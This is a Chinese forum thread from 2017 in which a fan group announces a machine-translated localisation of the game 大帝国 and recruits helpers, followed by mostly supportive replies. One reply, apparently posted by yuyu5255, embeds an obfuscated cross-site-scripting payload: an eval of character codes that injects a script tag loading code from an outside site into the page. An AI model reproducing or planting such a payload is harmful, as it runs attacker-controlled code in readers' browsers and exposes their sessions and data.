转载【修罗难度的汉化神坑】大帝国汉化――这个坑终于要填上了

753678156 · 发表于 2017-2-6 18:18:03

大帝国，作为一部游戏，有着太多的传说，比如这个独一无二的作死设定，比如有着宇宙推土机外号的主角，比如鬼畜的CORE线（实际上和某些魔器比起来根本算不了什么）但是最经典的传说一定是这个游戏的汉化神坑了——曾经无数人立下FLAG，大帝国汉化了我就XXX，我一定要叫我的曾孙把大帝国汉化烧给我......处于种种原因这个游戏一直没汉化，成了公认的神坑，话说已经坑了几个年头？

嗯没错，我们就是一群作死的骚年，这个坑我们还真要想办法干他娘的一炮！二营长把你他娘的意大利......面拿出来给友军尝尝！
嗯，牛逼就吹到这儿，其实我们的实力还是不足的...所以，本坑招募友军中，欢迎各位日语和程序大佬过来火力支援。群号602517713

（实际上由于人数实在太少，加上这个坑实在是太坑了，本组采用的是机翻+润色法，能够做到利用最少的人力做出汉化。虽然质量不高但这个神坑的汉化有总比没有好吧。所以日语不怎么好的也可以来帮忙哦，我们欢迎你）

最后加一句，本组急需程序大佬！目前无法解决一些乱码以及存档的问题…各位大佬拜托了（说不定坑主为了感谢，会给来帮忙的大佬一些大姐姐或者小本子的资源呢

坑主可是常年老司机，2个T的度盘已经装满了1.8个T的

）

原址

xdfreedam · 发表于 2017-2-6 20:56:06

機翻加潤色，程序也缺，只會成為下一個炮灰吧。

872507456 · 发表于 2017-2-6 21:00:32

只要别像“大番长”一样就行，那玩意玩到后面各种乱码，已经搁置好长时间没玩下去了

yoyoyoyoyo · 发表于 2017-2-7 09:52:00

最重要是解決Bug，機翻質量差一點，能看懂就還好

流qazxsw · 发表于 2017-2-7 11:19:34

感谢汉化组，话说楼主的际遇真是太牛B了

花谢花开人已逝 · 发表于 2017-2-7 12:52:46

赞同2楼……然后噗~我实在想吐糟那个1.8T……我觉得改成送女装照可能还会更有用一点

漫游者 · 发表于 2017-2-7 13:30:34

虽然很想帮忙，可惜不会……精神上支持！

zhanglindasini · 发表于 2017-2-7 18:18:42

辛苦了，各位大大

那天、那花 · 发表于 2017-2-7 22:34:13

辛苦啦么么哒

RandyOrtan · 发表于 2017-2-8 23:12:58

不要又成为下一个弃坑者就好

HLLH · 发表于 2017-2-9 00:08:04

支持支持，汉化加油

duoluoxi007 · 发表于 2017-2-9 09:59:32

别做梦了。这个游戏自从出现以来就有一群打着优质汉化旗号禁止别人抢坑的人在阻挠汉化。

咱记得之前敢逾越的都被他们用各种方式收拾掉了。从利用国安到垄断贴吧弄死萌芽到各种背后小动作。

好就好 · 发表于 2017-2-10 16:24:06

支持支持，汉化加油

离殇丶 · 发表于 2017-2-10 16:54:31

想嘻嘻嘻想想嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻想嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻

scdy211418 · 发表于 2017-2-11 11:33:11

神作。。期待早日完坑~~~也辛苦菊苣们咯~~

rylkyo · 发表于 2017-2-13 18:51:53

終於看到曙光了!!大帝國終於有漢化了!!
PS:我也終於找到郵箱密碼和論壇密碼了..555555感動ING~~

da139029 · 发表于 2017-2-19 12:47:41

这是什么游戏啊？？？

漾星辰 · 发表于 2017-2-20 22:18:22

本帖最后由漾星辰于 2017-2-20 22:34 编辑

感謝樓主汉化组，辛苦了各位大大

huang090 · 发表于 2017-2-21 18:30:16

大帝國好像是SLG的,期待漢化.

128066731 · 发表于 2017-2-27 18:33:15

感謝樓主汉化组，辛苦了各位大大

天秤 · 发表于 2017-3-9 00:21:52

真是值得期待，感谢汉化组的幸苦付出

yuyu5255 · 发表于 2017-3-10 21:35:26

虽然很想帮忙，可惜不会……精神上支持！

http://localhost/flash.swf?\'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+\'

lkskln · 发表于 2017-3-10 22:51:48

如果是真的就太好了，刚出的时候用喵翻玩了一次通关就不行了。

贫穷术士 · 发表于 2017-3-12 19:34:37

我只想说，楼主万事小心啊，之前无数的好人们都倒下了，我依稀记得有位仁兄企图以一人之力对抗邪恶，无奈势单力薄，最终倒下，希望你们一生平安。我从12年就盼着汉化了，谢谢你们！！！！

tp6an · 发表于 2017-3-16 19:30:01

精神上支持！漢化加油......

824346551 · 发表于 2017-3-19 00:08:29

加加油哈哈哈嘻嘻嘻是是是

fhc · 发表于 2017-3-28 22:10:42

汉化组的各位辛苦了

szydm · 发表于 2017-3-29 10:21:32

汉化组辛苦了

wxc8888 · 发表于 2017-3-30 02:52:50

感谢汉化组，话说楼主的际遇真是太牛B了

wang8975 · 发表于 2017-4-3 11:03:49

太感谢大大无私的分享。

[坑讯发布] 转载【修罗难度的汉化神坑】大帝国汉化――这个坑终于要填上了

本帖子中包含更多资源

评分